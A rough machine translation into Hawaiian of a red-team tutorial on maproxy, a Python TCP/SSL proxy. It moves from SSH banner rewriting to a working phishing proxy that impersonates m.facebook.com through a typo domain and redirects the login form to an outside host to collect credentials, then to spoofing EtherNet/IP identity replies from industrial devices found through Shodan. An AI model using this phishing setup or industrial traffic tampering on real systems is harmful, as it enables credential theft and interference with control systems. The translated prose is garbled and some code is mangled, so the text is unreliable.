Ua hoʻomākaukau ʻia ka unuhi ʻana o ka ʻatikala ma ka pō o ka hoʻomaka ʻana o ka papa
ʻAʻohe
ʻO nā ʻano loiloi palekana like ʻole, mai ka hoʻāʻo ʻana maʻamau a me nā hana Red Team i ka hacking IoT/ICS device a me SCADA, e pili ana i ka hana ʻana me nā protocol network binary, ʻo ia hoʻi, ka hoʻopaʻa ʻana a me ka hoʻololi ʻana i ka ʻikepili pūnaewele ma waena o ka mea kūʻai aku a me ka pahuhopu. ʻAʻole he hana paʻakikī ka ʻimi ʻana i ka ʻoihana pūnaewele no ka mea he mau mea hana mākou e like me Wireshark, Tcpdump a i ʻole Scapy, akā ʻo ka hoʻololi ʻana me he mea lā he hana ʻoi aku ka nui o ka hana no ka mea pono mākou e loaʻa i kekahi ʻano ʻano e heluhelu ai i ka ʻikepili pūnaewele, kānana, hoʻololi. ia ma ka lele a hoʻihoʻi i ka pūʻali i hoʻopaʻa ʻia i ka manawa maoli. Eia kekahi, he mea kūpono inā hiki i ia mea hana ke hana me nā pilina like ʻole a hiki ke hana maʻamau me ka hoʻohana ʻana i nā palapala.
I kekahi lā ua ʻike au i kahi mea hana i kapa ʻia
, ua maopopo koke iaʻu ka palapala maproxy
- ʻo kaʻu mea e pono ai. He mea maʻalahi kēia, maʻalahi a maʻalahi hoʻi ka TCP proxy. Ua hoʻāʻo au i kēia mea hana ma nā noi paʻakikī, me nā mea ICS (e hoʻopuka ana i nā ʻeke he nui) e ʻike inā hiki iā ia ke lawelawe i nā pilina like ʻole, a hana maikaʻi ka mea hana.
E hoʻolauna kēia ʻatikala iā ʻoe i ka hoʻoili ʻana i ka ʻikepili pūnaewele ma ka lele me ka hoʻohana ʻana maproxy
.
Hōʻuluʻulu manaʻo
Nā mea hana maproxy
Hoʻokumu ʻia ʻo Tornado, kahi ʻōnaehana pūnaewele asynchronous kaulana a makua ma Python.
Ma keʻano laulā, hiki iā ia ke hana ma nā ʻano he nui:
TCP:TCP
- nā pilina TCP i hoʻopili ʻole ʻia;TCP:SSL
иSSL:TCP
- me ka hoʻopunipuni ʻana i hoʻokahi ala;SSL:SSL
– ʻelua ala hoʻopunipuni.
Hele mai ia ma ke ʻano he waihona. No ka hoʻomaka wikiwiki, hiki iā ʻoe ke hoʻohana i nā faila laʻana e hōʻike ana i ka mea nui
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Ka hihia 1 – ke koho koho pālua maʻalahi
Ma muli o tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
ma ka paʻamau ProxyServer()
lawe i ʻelua mau manaʻo hoʻopaʻapaʻa - ka wahi pili a me ke awa i hoʻopaʻa ʻia. server.listen()
lawe i hoʻokahi hoʻopaʻapaʻa - ke awa no ka hoʻolohe ʻana i ka pilina e komo mai ana.
Ke hoʻokō nei i ka palapala:
# python tcp2tcp.py
No ka holo ʻana i ka hoʻāʻo, e hoʻopili mākou i kahi kikowaena SSH kūloko ma o kā mākou palapala koho, e hoʻolohe ana ma 2222/tcp
awa a hoʻohui i kahi awa maʻamau 22/tcp
Nā kikowaena SSH:
Hōʻike ka hae hoʻokipa iā ʻoe ua hoʻololi maikaʻi ʻia kā mākou hōʻailona hōʻailona.
Ka hihia 2 - hoʻololi ʻikepili
ʻO kekahi palapala hōʻike demo logging_proxy.py
kūpono no ka launa pū ʻana me ka ʻikepili pūnaewele. Hōʻike nā manaʻo i loko o ka faila i nā ʻano papa e hiki ai iā ʻoe ke hoʻololi e hoʻokō i kāu pahuhopu:
Eia ka mea hoihoi loa:
on_c2p_done_read
- e hoʻopili i ka ʻikepili ma ke ala mai ka mea kūʻai aku i ke kikowaena;on_p2s_done_read
- hoohuli.
E ho'āʻo kākou e hoʻololi i ka hae SSH i hoʻi mai ke kikowaena i ka mea kūʻai:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
E hoʻokō i ka palapala:
E like me kāu e ʻike ai, ua alakaʻi hewa ʻia ka mea kūʻai aku no ka mea ua hoʻololi ʻia ka inoa kikowaena SSH nona «DumnySSH»
.
Mahele 3 – ʻaoʻao pūnaewele phishing maʻalahi
Aia nā ala pau ʻole e hoʻohana ai i kēia mea hana. I kēia manawa, e noʻonoʻo kākou i kahi mea kūpono loa mai ka ʻaoʻao hana ʻo Red Team. E hoʻohālike kākou i ka ʻaoʻao pae m.facebook.com
a hoʻohana i kahi kāʻei kapu maʻamau me kahi kuhi hewa, no ka laʻana, m.facebok.com
. No nā kumu hōʻikeʻike, e manaʻo wale kākou ua hoʻopaʻa inoa ʻia ka domain e mākou.
E hoʻokumu mākou i kahi pilina pūnaewele i hoʻopili ʻole ʻia me kā mākou mea hoʻopiʻi proxy a me SSL Stream i ke kikowaena Facebook (31.13.81.36
). No ka hana ʻana i kēia hiʻohiʻona, pono mākou e pani i ka poʻomanaʻo host HTTP a hoʻokomo i ka inoa host pololei, a e hoʻopau pū mākou i ka hoʻopiʻi pane i hiki iā mākou ke komo maʻalahi i nā ʻike. ʻO ka hope, e hoʻololi mākou i ka palapala HTML i hoʻouna ʻia mai nā hōʻoia hōʻoia iā mākou ma mua o nā kikowaena o Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/haw/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
I ka hōʻākāka:
E like me kāu e ʻike ai, ua hiki iā mākou ke hoʻololi i ka pūnaewele kumu.
Mahele 4 – Hoʻokomo i ka Ethernet/IP
Ua pili au i nā mea ʻenehana a me nā lako polokalamu (ICS/SCADA) no kekahi manawa, e like me nā mea hoʻoponopono programmable (PLC), I/O modules, drives, relays, ladder programming environments a me nā mea hou aku. ʻO kēia hihia no ka poʻe makemake i nā mea ʻoihana. ʻO ka hacking ʻana i kēlā mau hoʻonā e pili ana i ka pāʻani ʻana me nā protocol network. Ma kēia laʻana, makemake wau e hōʻike pehea e hiki ai iā ʻoe ke hoʻololi i ka ʻoihana pūnaewele ICS/SCADA.
No kēia, pono ʻoe i kēia:
- ʻO ka sniffer pūnaewele, no ka laʻana, Wireshark;
- Ethernet / IP a i ʻole kahi mea SIP wale nō, hiki iā ʻoe ke loaʻa me ka hoʻohana ʻana i ka lawelawe Shodan;
- Hoʻokumu ʻia kā mākou palapala
maproxy
.
ʻO ka mea mua, e nānā kākou i ke ʻano o ka pane ʻike maʻamau mai CIP (Common Industrial Protocol):
Hoʻokō ʻia ka ʻike ʻana o ka hāmeʻa me ka hoʻohana ʻana i ka protocol Ethernet/IP, kahi mana i hoʻonui ʻia o ka protocol Ethernet ʻoihana e hoʻopili ana i nā protocol control e like me CIP. E hoʻololi mākou i ka inoa ID i ʻike ʻia ma ka kiʻi "NI-IndComm no Ethernet" me ka hoʻohana ʻana i kā mākou palapala proxy. Hiki iā mākou ke hoʻohana hou i ka palapala logging_proxy.py
a hoʻololi like i ke ʻano papa on_p2s_done_read
, no ka mea makemake mākou e ʻike ʻia kahi inoa ʻokoʻa ma ka mea kūʻai aku.
Kuhikuhi:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
ʻO ka mea nui, ua noi mākou no ka ʻike ʻana i nā mea hana ʻelua, ʻo ka pane ʻelua ka pane mua, a ua hoʻololi ʻia ka mea mua ma ka lele.
A ka mea hope loa
I koʻu manaʻo maproxy
He mea hana maʻalahi a maʻalahi hoʻi, i kākau ʻia ma Python, no laila ke manaʻoʻiʻo nei au hiki iā ʻoe ke pōmaikaʻi mai ka hoʻohana ʻana. ʻOiaʻiʻo, aia nā mea hana paʻakikī no ka hoʻoponopono ʻana a me ka hoʻololi ʻana i ka ʻikepili pūnaewele, akā pono lākou i ka nānā ʻana a hana pinepine ʻia no kahi hihia hoʻohana kikoʻī, e.g. maproxy
hiki iā ʻoe ke hoʻokō koke i kāu mau manaʻo no ka hoʻopaʻa ʻana i ka ʻikepili pūnaewele, no ka mea, ua maopopo loa nā palapala hōʻike.
Source: www.habr.com